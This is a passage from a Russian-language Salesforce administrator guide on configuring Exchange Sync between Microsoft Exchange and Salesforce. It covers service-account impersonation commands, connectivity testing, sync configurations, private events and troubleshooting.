являющаясяполноценной, ноимеющаянекоторыеограничения. Чтобынастроить
функцию для компании, воспользуйтесь Руководством по внедрению Exchange
Sync.

Настройка функции синхронизации контактов и событий между корпоративной
почтовой системой и системой Salesforce позволяет повысить производительность
пользователей путем исключения необходимости копирования данных между двумя
системами.

Определитенеобходимость синхронизацииконтактовисобытийпутемнастройкипараметровсинхронизациив системе
Salesforce. При необходимости определите направления для синхронизации записей пользователей между сервером
Exchange и системой Salesforce.

Пользователимогутсинхронизироватьзаписи, создаваемыеиобрабатываемыенанастольныхкомпьютерахилимобильных
устройствах.

Ниже перечислены действия, которые в настоящее время не поддерживаются Exchange Sync.

• Синхронизация повторяющихся событий

• Синхронизация приглашенных, добавленных в события

• Предоставление пользователям возможности одновременного удаления записей из обеих систем

Тем не менее, пользователи могут выполнять данные действия — обновление повторяющихся событий, добавление
приглашенных на событие и удаление записей из обеих систем — вручную.
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Exchange Sync. Требования к системе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Преждечемразрешитьпользователямсинхронизациюконтактовисобытийпосредством
Exchange Sync, убедитесь, что используемый сервер Microsoft® Exchange соответствует
перечисленным ниже требованиям.

С включенными параметрамиКомпания должна использовать

Exchange Server 2010: пакет обновления 3
(SP1)

• Веб-службы Exchange дляподключения
SSL.

Exchange Server 2013: пакет обновления 1
(SP1)

• Служба автообнаружения Exchange

• Базоваяпроверкаподлинностикакдля
сервера Exchange, так и для сервера
Autodiscover.

Exchange Online (Office 365®): Enterprise Edition

Общие сведения о настройке Exchange Sync

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для подготовки сервера
Exchange к взаимодействию
с системой Salesforce:
• Административный

доступ к серверу
Microsoft® Exchange
компании

Настройте Exchange Sync ворганизациидляпредоставленияпользователямвозможности
синхронизации контактов и событий между сервером Microsoft® Exchange компании и
системой Salesforce. Выполните некоторые действия по подготовке систем к
взаимодействию — как на сервере Exchange, так и в системе Salesforce.

Чтобы настроить Exchange Sync для организации, выполните указанные ниже действия.

1. Подготовьте сервер Exchange для использования Exchange Sync путем включения
нескольких параметров.

2. Настройтеучетнуюзаписьслужбы Exchangeдляпредоставлениясерверувозможности
взаимодействия с Exchange Sync.

3. Запуститеинструмент Microsoft® Remote Connectivity Analyzer посредствомпараметров
Exchange Sync для тестирования сервера Exchange на правильность настройки.

4. НастройтесистемуSalesforceдлявзаимодействияс Exchangeпутемвключения Exchange
Sync и ввода регистрационных данных учетной записи службы в систему Salesforce.

5. Подготовьтепользователейк управлениюкалендарнымисобытиями, подлежащими
исключению из синхронизации.

6. Определите параметры синхронизации пользователей в конфигурациях Exchange
Sync.

7. Подготовьте пользователей к управлению контактами эл. почты, подлежащими
синхронизации.

СМ. ТАКЖЕ:

Синхронизация элементов Microsoft® посредством Exchange Sync (бета-версия)

https://success.salesforce.com/_ui/core/chatter/groups/GroupProfilePage?g=0F9300000009M90CAE
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Подготовка сервера Microsoft® Exchange для использования Exchange Sync

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы начать настройку Exchange Sync, включите некоторые параметры на сервере
Exchange, втомчислевеб-службы Exchange ислужбуавтообнаружения Exchange иобычной
проверки подлинности.

Данные инструкции определяются используемой версией Microsoft® Exchange. Чтобы
получить дополнительную поддержку, посетите веб-сайт службы поддержки Microsoft,
выполнитепоискпоупомянутымключевымсловамивоспользуйтесьсоответствующими
инструкциями.

Выполните указанные ниже действия на сервере Exchange.

1. Включите веб-службы Exchange для подключения SSL.

• Убедитесь, что сервер Exchange использует подписанный сертификат,
предоставленный проверенным центром сертификации.

• Если организация использует брандмауэр, разрешите входящее подключение к серверу клиентского доступа
Exchange через порты 80 и 443.

2. Включите службу автообнаружения Exchange.

3. Включитебазовуюпроверкуподлинностикакдлясервера Exchange, такидлясервера Autodiscover. Есливампотребуется
запустить дополнительные методы проверки подлинности (например, Microsoft NTLM), то не будет необходимости в
отключении этих методов; вы сможете запустить Exchange Sync без конфликтов.

Теперь настройте учетную запись службы Exchange.

Настройка учетной записи службы Microsoft® Exchange для взаимодействия с Exchange Sync

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки учетной
записи службы для
взаимодействия с Exchange
Sync:
• Административный

доступ к серверу
Exchange компании

После включения веб-служб Exchange и службы автообнаружения Exchange на сервере
Exchange рекомендуем создать учетную запись службы, поддерживающую права
олицетворения, для почтового ящика каждого пользователя Exchange Sync.

Прежде чем настроить учетную запись службы Exchange, убедитесь во включении
соответствующих параметров сервера Exchange для настройки Exchange Sync.

Чтобынастроить учетнуюзапись службы Exchange, выполните указанныенижедействия
на сервере Exchange.

Посмотреть демонстрационный ролик:

• Salesforce Exchange Sync Setup in Office 365 via Point and Click

• Salesforce Exchange Sync Setup in Exchange via the Command Line

Прим.: Чтобы получить дополнительную поддержку, посетите веб-сайт службы
поддержки Microsoft®, выполните поиск по упомянутым ключевым словам и
воспользуйтесь соответствующими инструкциями.

1. Создайте пользователя Exchange на основе его почтового ящика. Данный адрес эл.
почты будет использоваться для настройки олицетворения Exchange для учетной
записи службы.

2. Введите команды, включающие олицетворение учетной записи службы для
используемой версии Exchange, посредством Exchange Management Shell. При
отображениисообщенияобошибкеповторитевводкомандычерезнесколькоминут
для предоставления серверу времени на обработку запросов.

2244

Управление облачной интеграцией эл. почтыНастройка и обслуживание инструментов продаж

https://developer.salesforce.com/page/Outbound_Messaging_SSL_CA_Certificates
http://salesforce.vidyard.com/watch/Ufe4uKH5eBeKNKWdyPC-sA
http://salesforce.vidyard.com/watch/UkqihTWJnGCm7DyVHPBNEw


• При использовании Exchange 2010 или 2013:

a. Включите расширенное полномочие Active Directory для ms-Exch-EPI-Impersonation на всех серверах
клиентского доступа.

Get-ExchangeServer | where {$_IsClientAccessServer -eq $TRUE} | ForEach-Object
{Add-ADPermission -Identity $_.distinguishedname -User (Get-User -Identity
<EnterExchangeSyncServiceAccountEmailAddress> | select-object).identity
-extendedRight ms-Exch-EPI-Impersonation}

b. Чтобы разрешить учетной записи службы олицетворение всех учетных записей на сервере Exchange, включите
расширенныеправа Active Directory для ms-Exch-EPI-May-Impersonate. Фильтр, позволяющийограничивать
пользователей, синхронизируемых с системой Salesforce, будет задан позже.

Get-MailboxDatabase | ForEach-Object {Add-ADPermission -Identity $_.distinguishedname
-User <EnterExchangeSyncServiceAccountAddress> -ExtendedRights
ms-Exch-EPI-May-Impersonate}

• При использовании Exchange Online на базе Microsoft Office 365™:

a. Включите настройку на сервере Exchange.

Enable-OrganizationCustomization

3. Чтобы настроить учетную запись службы для олицетворения группы пользователей, которые будут выполнять
синхронизацию посредством Exchange Sync, введите команды ниже посредством Exchange Management Shell.

a. Создайте область управления для определенияфильтра, группирующего пользователей Exchange, которые будут
выполнять синхронизацию посредством Exchange Sync. Например, чтобы разрешить синхронизацию только
торговым представителям, почтовые ящики Exchange которых содержат одинаковое значение Sales для
фильтруемого свойства Department, введите строку Department -eq 'Sales' вместо
<ChooseRecipientFilter>.

New-ManagementScope -Name:<ChooseExchangeSyncScopeName>
-RecipientRestrictionFilter:{<ChooseRecipientFilter>}

b. Создайтеназначениеролиуправления, позволяющееучетнойзаписислужбыолицетворятьтолькопользователей,
выбранных в области управления.

New-ManagementRoleAssignment -Name:<ChooseExchangeSyncRoleAssignmentName>
-Role:ApplicationImpersonation -User:<EnterExchangeSyncServiceAccountAddress>
-CustomRecipientWriteScope:<EnterExchangeSyncScopeName>

Чтобыпроверитьправильностьнастройки сервера для Exchange Sync, запустите инструмент Microsoft® Remote Connectivity
Analyzer посредством параметров Exchange Sync после настройки учетной записи службы. Рекомендуем подождать
несколькоминутпосле выполненияданныхзадачдляпредоставлениясерверу Exchange временинаобработку внесенных
изменений. В противном случае, инструмент Remote Connectivity Analyzer может отображать неудачный результат
тестирования даже при выполнении правильной настройки.
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Запуск инструмента Microsoft® Remote Connectivity Analyzer посредством параметров Exchange Sync

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для получения нужных
параметров для выполнения
теста:
• Административный

доступ к серверу
Microsoft® Exchange
компании

Если пользователи Exchange Sync не могут синхронизировать элементы, убедитесь в
правильной настройке сервера администратором Exchange путем запуска бесплатного
веб-инструмента Microsoft® Remote Connectivity Analyzer для тестирования подключения
и устранения ошибок настройки.

Прежде чем запустить инструмент Remote Connectivity Analyzer, убедитесь во включении
соответствующих параметров сервера Exchange и настройке учетной записи службы
Exchange. Рекомендуемподождатьнесколькоминутпослевыполненияданныхзадачдля
предоставления серверу Exchange времени на обработку внесенных изменений. В
противномслучае, инструмент Remote Connectivity Analyzer можетотображатьнеудачный
результат тестирования даже при выполнении правильной настройки.

1. Откройте веб-сайт компании Microsoft и найдите инструмент Remote Connectivity
Analyzer.

2. Установите переключатель «Доступ учетной записи службы (разработчики)»
на вкладке «Exchange Server».

3. Нажмите кнопку «Далее».

4. Заполните поля теста.

ЗначениеПоле

Адрес эл. почты Exchange для нужного
пользователя Exchange Sync.

Адрес электронной почты для целевого
почтового ящика

Имя домена или пользователя учетной
записи службы или имя

Имя пользователя учетной записи
службы (имя домена или пользователя
или имя участника-пользователя) участника-пользователя, настроенное

для Exchange Sync.

Пароль учетной записи службы,
настроенный для Exchange Sync.

Пароль учетной записи службы

5. Установите переключатель «Использовать автообнаружение для определения параметров сервера».

6. Установите переключатель «Предустановленная папка проверки».

7. Выберите значение «Контакты» или «Календарь».

8. Установите флажок «Использовать олицетворение Exchange».

9. Заполните поле «Воплощаемый пользователь» адресом эл. почты Exchange из поля «Адрес электронной почты
для целевого почтового ящика».

10. Выберите значение «Адрес SMTP» из раскрывающегося списка «Идентификатор воплощаемого пользователя».

11. Установите флажок «Я понимаю, что мне необходимо использовать учетные данные работающей учетной
записи...».

12. Введите код проверки и нажмите кнопку «Проверить».

13. Нажмите кнопку «Выполнить проверку» вверху страницы.
Какправило, выполнениетеста занимаетменее 30 секунд. Позавершениитестаинструмент Microsoft® Remote Connectivity
Analyzer отображает полученные результаты для выбранного пользователя Exchange.

14. Выполните нужное действие на основе результатов тестирования.
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• Результат «Тест на возможность подключения выполнен успешно» или «Тест на возможность подключения
выполненуспешноспредупреждениями» указываетнаправильнуюнастройкуучетнойзаписислужбыиготовность
пользователя к введению регистрационных данных учетной записи службы в систему Salesforce.

• Результат «Не удалось выполнить тест на возможность подключения» указывает на необходимость проверки
сведений о тесте для устранения ошибок настройки. При необходимости воспользуйтесь инструкциями по
настройке Exchange Sync.

• При неудачной настройке Exchange Sync или неудачной синхронизации записей пользователей выполните
повторный тест и сохраните сведения о тесте в виде HTML. При необходимости передайте полученные сведения
сотрудникам службы поддержки Salesforce.

Настройка системы Salesforce для взаимодействия с сервером Microsoft® Exchange

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к настройке
Exchange Sync в системе
Salesforce:
• «Просмотр настройки и

конфигурации»

Послезапускаинструмента Remote Connectivity Analyzer выполнитевходвсистемуSalesforce
для включения Exchange Sync и добавления регистрационных данных учетной записи
службы Exchange. Это позволит установить связь между Exchange и Salesforce.

1. НастраниценастроекSalesforceвведитестроку «Exchange Sync» вполе «Быстрый
поиск» и выберите пункт «Настройка Exchange Sync».

2. Нажмите кнопку «Правка» в разделе «Включить Exchange Sync».

3. Установитефлажок «Включить Exchange Sync» инажмитекнопку«Сохранить».

4. Введите имя пользователя для учетной записи службы Exchange, включая домен
компании и домен верхнего уровня. Например, если вы указали в качестве имени
пользователя Exchange svcacct, то названиекомпании  — этодоменноеимя компании,
а .com  — это домен высшего уровня компании. Имя пользователя можно указать
в одном из следующихформатов:

• svcacct@названиекомпании.com;

• названиекомпании.com\svcacct.

В зависимости от настроек конфигурации, используемых в вашей компании, для
успешной настройки может потребоваться проверка обоих форматов Exchange Sync.

5. Введите пароль учетной записи службы.

6. Нажмите кнопку «Сохранить».

Теперь уведомите пользователей о необходимости выбора календарных событий, подлежащих исключению из
синхронизации.
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Уведомление пользователей о порядке исключения календарных событий из синхронизации с системой
Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Расскажите пользователям Exchange Sync в вашей организации, как управлять тем, какие
события календаря Exchange будут синхронизироваться с Salesforce. Пользователям
рекомендуется подготовить свои календари, перед тем как добавлять пользователей в
конфигурации Exchange Sync и началом синхронизации, однако пользователи смогут в
любое время управлять тем, какие события будут синхронизироваться.

При синхронизации событий только по направлению «Из Salesforce в Exchange»
пропустите данный этап и начните определение параметров синхронизации.

Пользователям может требоваться исключение некоторых календарных событий
(например, личных событий) из синхронизации с системой Salesforce.

Чтобыопределитьпараметрысинхронизациивконфигурациях Exchange Sync, перейдите
на следующий этап настройки. При синхронизации событий по направлению «Из
Exchange в Salesforce» или в обоих направлениях все события пользователей
синхронизируются с системой Salesforce немедленно, кроме случаев управления событиями вручную.

Пользователи могут предотвратить синхронизацию личных событий с Salesforce различными способами.

• Пользователи могут создать отдельный календарь в приложении календаря, чтобы отслеживать личные события.
(Функция синхронизации с Exchange создана так, что может синхронизировать только главный календарь учетной
записи Exchange с Salesforce.)

• В следующемшаге настройки предстоит выбрать, хотите ли вы синхронизировать личные события пользователей.
Есливывыберетене синхронизироватьличные событияпользователей, выможетепотребовать, чтобыпользователи
назначали параметр «личное» для событий в приложениях календаря, синхронизировать которые им не нужно.

Если пользователи не настроят управление своими личными событиями до начала синхронизации, они могут все еще
удалить эти события из Salesforce, удалив личные события из Salesforce вручную.

Когда вы будете уверены, что пользователи определили личные события, которые они не хотят синхронизировать, вы
сможете определить параметры синхронизации для пользователей и начать процесс синхронизации.
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Определение параметров синхронизации для пользователей Exchange Sync

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к настройке
Exchange Sync в системе
Salesforce:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций
Exchange Sync:
• «Управление

конфигурациями
клиента эл. почты»

После подготовки событий для синхронизации с системой Salesforce рекомендуем
определить параметры синхронизации для групп пользователей в конфигурациях
Exchange Sync. Данный этап инициирует процесс синхронизации для пользователей.

Прежде чем определить параметры синхронизации в конфигурациях Exchange Sync,
убедитесь, что являетесь администратором Exchange, запустившиминструмент Microsoft®

Remote Connectivity Analyzer посредством параметров Exchange Sync.

Определение параметров синхронизации позволяет контролировать пользователей,
которыемогут синхронизироватьконтактыисобытия. Принеобходимостиопределите
доступныенаправлениясинхронизацииисоздайтефильтрыдляисключениянекоторых
записей из процесса синхронизации.

1. В меню «Настройка» Salesforce введите строку «Конфигурации Exchange Sync» в
поле «Быстрый поиск», затем выберите «Конфигурации Exchange Sync».

2. Нажмите кнопку «Создать конфигурацию Exchange».

3. Введите имя конфигурации. Например, при создании конфигурациидля пользователейотдельного региона введите
уникальное имя и установите флажок «Активно».
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4. Назначьте пользователей и профили данной конфигурации.

5. Выберите направление синхронизации для контактов пользователей.

6. Чтобы изменить соотнесения полей между контактами Salesforce и Exchange, щелкните ссылку «Редактировать
соотнесения полей».

7. Выберите направление синхронизации для событий пользователей.

8. Чтобы изменить соотнесения полей между событиями Salesforce и Exchange, щелкните ссылку «Редактировать
соотнесения полей».

9. Выберите «Синхронизировать личные события», чтобы синхронизировать события, которые ваши пользователи
отметили как личные в Salesforce или в календарях.

10. Нажмите кнопку «Сохранить».
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11. Чтобызадать контакты, доступныепользователямдля синхронизации, настройтенужныефильтры. Фильтрыдолжны
настраиваться на основе ответственности за записи пользователей. Чтобы...

• ограничить синхронизируемые контакты только собственными контактами пользователей, установите
переключатель «Выбранные контакты», а затем установите флажок «Записи пользователя». Убедитесь в
выборе обоих параметров. В противном случае, синхронизация контактов не будет поддерживаться данной
конфигурацией.

• разрешитьпользователямсинхронизациювсехконтактов, доступныхвсистемеSalesforce, установитепереключатель
«Все контакты».

При необходимости настройте дополнительные фильтры синхронизации. Например, чтобы исключить контакты,
которыенепринадлежаттерриториямпользователей, изпроцесса синхронизации, создайтефильтрысинхронизации
для конкретных полей записей контактов. Обратите внимание, чтофильтры контактов не применяются к контактам,
которые синхронизируются по направлению «Из Exchange в Salesforce».

12. Выберите конкретные события, которые могут синхронизироваться пользователями по направлению «Из Salesforce
в Exchange». Чтобыограничитьсобытия, доступныепользователямдлясинхронизации, нужнымвременныминтервалом,
введите фильтр в поле «Больше или равно».

• «СЕГОДНЯ»: синхронизация событий, которые завершаются сегодня или позже. Время начала — 00:00.

• «ПРОШЛЫЙ МЕСЯЦ»: синхронизация событий, которые завершились в первый день прошлого месяца или
позже.

• «ПОСЛЕДНИЕ N ДН.»: синхронизация событий, которые завершились указанное количество днейназад или
позже (например, «ПОСЛЕДНИЕ 30 ДН.»). Разрешается синхронизировать события, завершенные не более
180 дней назад.
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13. Нажмите кнопку «Сохранить».

Данное действие инициирует синхронизацию контактов и событий в данной конфигурации Exchange Sync.

Теперь уведомите пользователей о необходимости выбора контактов эл. почты для синхронизации с системой Salesforce
и перемещения данных контактов в папки Salesforce_Sync почтовых приложений.

СМ. ТАКЖЕ:

Порядок управления конфликтами синхронизации между Exchange Sync и Salesforce for Outlook

Как избежать синхронизации данных между моими организациями Salesforce?

Уведомление пользователей о порядке синхронизации контактов эл. почты с системой Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Уведомите пользователей Exchange Sync о необходимости управления контактами эл.
почты Exchange, подлежащими синхронизации с системой Salesforce.

При синхронизации контактов только по направлению «Из Salesforce в Exchange»
пропустите данный этап, так как контакты и события пользователей уже
синхронизируются.

После определения параметров синхронизации пользователей путем их добавления в
конфигурации Exchange Sync и активации конфигураций Exchange Sync создает папку
Salesforce_Sync в качестве подкаталога для каталога «Контакты» в учетной записи эл.
почты каждого пользователя.

Пользователи, синхронизирующиеконтактыпонаправлению «Из Exchange в Salesforce»
или в обоих направлениях, могут выбирать контакты эл. почты, подлежащие
синхронизации с системой Salesforce, путем их перемещения в папку Salesforce_Sync.

Уведомите пользователей о необходимости перемещения их контактов в папку Salesforce_Sync.

Как сведения торговых представителей организации синхронизируются с Exchange Sync?

Узнайте, как Exchange Sync обрабатывает контакты и события ваших представителей, настроенные для использования
Exchange Sync.

Синхронизация личных событий
Узнайте, как личные события синхронизируются между Salesforce и приложениями календаря ваших торговых
представителей, после того как вы настроили средства торговых представителей для использования Exchange Sync.
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Синхронизация личных событий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Узнайте, как личные события синхронизируются между Salesforce и приложениями
календаря ваших торговых представителей, после того как вы настроили средства
торговых представителей для использования Exchange Sync.

Торговые представители могут предотвратить просмотр коллегами своих событий в
Salesforceив своихприложенияхкалендаря. Для этогоонидолжныотметить эти события
как личные.

Exchange Sync невыполняетсинхронизациюличныхсобытийторговыхпредставителей
междусистемами, есливынебудетеиспользоватьпараметр «Синхронизировать личные
события» в конфигурации Exchange Sync конкретного представителя.

После включения новые и обновленные личные события будут синхронизированы в
следующем цикле синхронизации Exchange Sync (обычно циклы синхронизации
выполняются с интервалом в несколько минут). Личные события синхронизируются в соответствии с направлением и
фильтрами, определенными в конфигурации торгового представителя.

После начала синхронизации личных событий некоторые сведения о личном событии становятся видимы для коллег
торгового представителя в зависимости от того, какие системные события просматриваются, а также от настроек
совместного использования календаря в Salesforce.

В Salesforce времяначалаиокончанияличногособытия виднодля коллег, однакосведенияо событиискрыты. Вселичные
события видныадминистраторам Salesforce, которыемогутпросматривать, редактироватьи составлятьотчетыособытиях.
Торговые представители могут предоставить коллегам доступ к большему количеству сведений о личных событиях,
изменив уровень предоставления доступа к календарю в разделе «Личные настройки».

Вприложениикалендаря сведенияоличномсобытиисовместноиспользуютсяколлегамиисупервизорами, какираньше.
См. документацию на это приложение календаря для получения дополнительных сведений.

Если вы решите отключить синхронизацию личных событий, то личные события ваших торговых представителей не
будут синхронизироваться начиная со следующего цикла синхронизации. Версия каждого личного события, которая
синхронизировалась ранее, остается в Salesforce и в календаре торгового представителя до тех пор, пока он не удалит
один или оба экземпляра события.

Важное замечание: Salesforceнесообщаетпредставителямотом, какнастроенасинхронизацияихличныхсобытий,
а также не сообщает об изменении этой настройки. Важно, чтобы вы сообщили о том, чего можно ожидать при
работе с синхронизацией, чтобы они использовали календари с учетом этого. Такая практика позволит торговым
представителям привыкнуть к синхронизации своих личных событий. Это также поможет не записывать сведения
о дате 95-летия вашей прабабушки АнныИвановны в организацию Salesforce.
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Управление пользователями Exchange Sync

Назначение пользователей конфигурациям Exchange Sync

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

Чтобы получить контакты и события пользователей Exchange Sync, подлежащие
синхронизации, рекомендуем добавить их в конфигурацию Exchange Sync. Система
Salesforce позволяет добавлять отдельных пользователей или группы пользователей
посредством профилей.

Прежде чем назначить пользователя конфигурации Exchange Sync, определите порядок
синхронизации записей данного пользователя, которые уже упоминались в другой
конфигурации.

• При назначении отдельного пользователя двум конфигурациям Exchange Sync
пользовательавтоматическиудаляетсяизпервойконфигурациииназначаетсяновой
конфигурации.

• При назначении пользователя двум конфигурациям Exchange Sync (как отдельный
пользователь и как пользователь профиля) пользователь не удаляется из
конфигураций, но его записи синхронизируются согласно конфигурации, которой
он назначен как отдельный пользователь.

• При назначении пользователя одной конфигурации Exchange Sync и одной другой
конфигурации пользователь не удаляется из конфигураций, но его записи
синхронизируются согласно конфигурации Exchange Sync.

Созданные, добавленные или удаленные назначения могут просматриваться
пользователями при следующем выполнении цикла синхронизации посредством
Exchange Sync.

Чтобыназначитьпользователяконфигурации Exchange Sync, выполнитеуказанныениже
действия.

1. Введитестроку «Конфигурации Exchange Sync» вполе «Быстрый поиск» вменю
«Настройка», затем выберите пункт «Конфигурации Exchange Sync».

2. Приизменениитекущейконфигурации Exchange Sync щелкните ссылку «Правка»напротивнужнойконфигурации.
В противном случае, нажмите кнопку «Создать конфигурацию Exchange» и заполните обязательные поля.

3. Выберитепункт «Профили» или «Пользователи» враскрывающемсясписке «Поиск» раздела «Назначитьпользователей
и профили».

4. Чтобы найти нужного участника, введите ключевые слова в поле поиска и нажмите кнопку «Найти».

5. Чтобы добавить участников в группу, выберите нужных участников в столбце «Доступные участники» и нажмите
кнопку «Добавить».Если данной конфигурацииназначены все доступныепользователи, то список «Пользователи»
будет пуст, а для назначения будут доступны только профили.

6. Чтобы удалить участников, выберите нужных участников и нажмите кнопку «Удалить».

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Порядок управления конфликтами синхронизации между Exchange Sync и Salesforce for Outlook

Как избежать синхронизации данных между моими организациями Salesforce?
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Как избежать синхронизации данных между моими организациями Salesforce?

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компания, использующая Exchange Sync в нескольких организациях Salesforce, должна
следить за раздельным хранением данных в этих организациях путем внимательного
отношения к процессу настройки конфигураций Exchange Sync.

Нижеперечисленыслучаи, прикоторыхсчитается, чтокомпанияиспользуетнесколько
организаций.

• Тестирование новых функций в безопасной организации перед их настройкой в
реальной организации.

• Использование отдельных организаций Salesforce для разных подразделений
компании.

Чтобы запретить Exchange Sync синхронизацию контактов и событий между
организациями Salesforce, не рекомендуем добавлять одного и того же пользователя в
конфигурации Exchange Sync разных организаций.

Не рекомендуем помечать конфигурацию Exchange Sync в качестве неактивной для предотвращения синхронизации
данных между организациями Salesforce. Конфигурация, помеченная как неактивная, не позволяет синхронизировать
данные пользователя, но должна позже помечаться как активная, так как указанный пользователь может быть добавлен
в несколько конфигураций Exchange Sync.

Пример: При тестированиифункций Exchange Sync в безопасной организации компания добавляет пользователя
в конфигурацию Exchange Sync безопасной организации. После надлежащей настройки функций Exchange Sync
данный пользователь может быть добавлен в конфигурацию Exchange Sync реальной организации.

Прежде чем добавить пользователя в конфигурацию Exchange Sync реальной организации, рекомендуем удалить
данного пользователя из конфигурации безопасной организации. В противном случае, Exchange Sync может
синхронизировать контакты и события между почтовым приложением пользователя, безопасной организацией и
реальной организацией путем сохранения тестовых и реальных данных во всех трех источниках данных.

Устранение ошибок синхронизации для пользователей Exchange Sync

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы устранить ошибки синхронизации данныхмежду Microsoft® Exchange и Salesforce,
препятствующиеработепользователя Exchange Sync, проверьте статусысинхронизации
пользователей или выполните отчет об ошибках Exchange Sync. При обнаружении
ошибкисинхронизации, котораянеможетбытьустраненапользователем, рекомендуем
сбросить процесс синхронизации соответствующего пользователя.

• Проверка статусов синхронизации пользователей Exchange Sync

• Создание и выполнение отчета об ошибках Exchange Sync

• Сброс синхронизации для пользователей Exchange Sync
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Проверка статусов синхронизациипользователей Exchange Sync

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к статусам
Exchange Sync:
• «Просмотр настройки и

конфигурации»

При неудачной синхронизации рекомендуем проверить статусы синхронизации
пользователей (и статус синхронизации для настройки Exchange Sync) для определения
причины прекращения синхронизации.

1. Введите строку «Статус Exchange Sync» в поле «Быстрый поиск» в меню
«Настройка», затем выберите пункт «Статус Exchange Sync».

2. Введите имя нужного пользователя и нажмите кнопку «Проверить статус».
Данное действиеинициирует отображение статуса синхронизациидля выбранного
пользователя.

Иногда пользователям может требоваться сброс синхронизации.

Объяснение статусов синхронизации и рекомендации по исправлению ошибок
синхронизации см. в разделе «Статусы Exchange Sync».

СМ. ТАКЖЕ:

Создание и выполнение отчета об ошибках Exchange Sync

Сброс синхронизации для пользователей Exchange Sync

Созданиеи выполнениеотчета об ошибках Exchange Sync

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Еслипользователям Exchange Sync не удается выполнить синхронизацию, рекомендуем
создать и выполнить отчет об ошибках для обнаружения причины прекращения
синхронизации в организации, а также определения соответствующих пользователей.
Сведения об отчете содержат рекомендации по устранению ошибок синхронизации.

Сначала рекомендуем создать тип настраиваемого отчета на основе настраиваемого
объекта «Отчет об ошибках Exchange Sync», заданного в системе Salesforce. Затем
рекомендуем создать отчет об ошибках Exchange Sync. Затем рекомендуем выполнить
отчет, который поможет пользователям исправить обнаруженные ошибки
синхронизации.

1. Создайте тип настраиваемого отчета. Задайте параметру «Основной объект»
значение «ExchangeSyncError».

2. Создайте отчет об ошибках Exchange Sync. Нажмите кнопку «Создать отчет» на
вкладке «Отчеты». Задайте параметру «Тип отчета» тип отчета Exchange Sync,
созданный в действии 1, и нажмите кнопку «Создать».

3. Сохраните и выполните отчет об ошибках Exchange Sync. Нажмите кнопку
«Сохранить» на странице несохраненного отчета, заполните обязательные поля и
нажмите кнопку «Сохранить и выполнить отчет».
Система Salesforce создает список ошибок синхронизации, обнаруженных в
организации, или отображает строку «Общий итог (0 записей)» при отсутствии
ошибок синхронизации.
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Если пользователям не удается выполнить синхронизацию при отсутствии ошибок, обратитесь в компанию Salesforce.

СМ. ТАКЖЕ:

Статусы Exchange Sync

Сброс синхронизациидляпользователей Exchange Sync

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Принеудачнойсинхронизацииданныхмежду Microsoft Exchange и Salesforceрекомендуем
сбросить процесс синхронизации соответствующего пользователя. Данный процесс
выполняет удаление и последующее восстановление подключений между записями
Exchange и Salesforceпользователя. Сброспроцесса синхронизацииневлияетна сведения,
хранящиеся в данных записях.

1. Убедитесь, чтопапка Salesforce_Sync пользователя содержиттолькоконтакты,
подлежащие синхронизации с системой Salesforce, а события, подлежащие
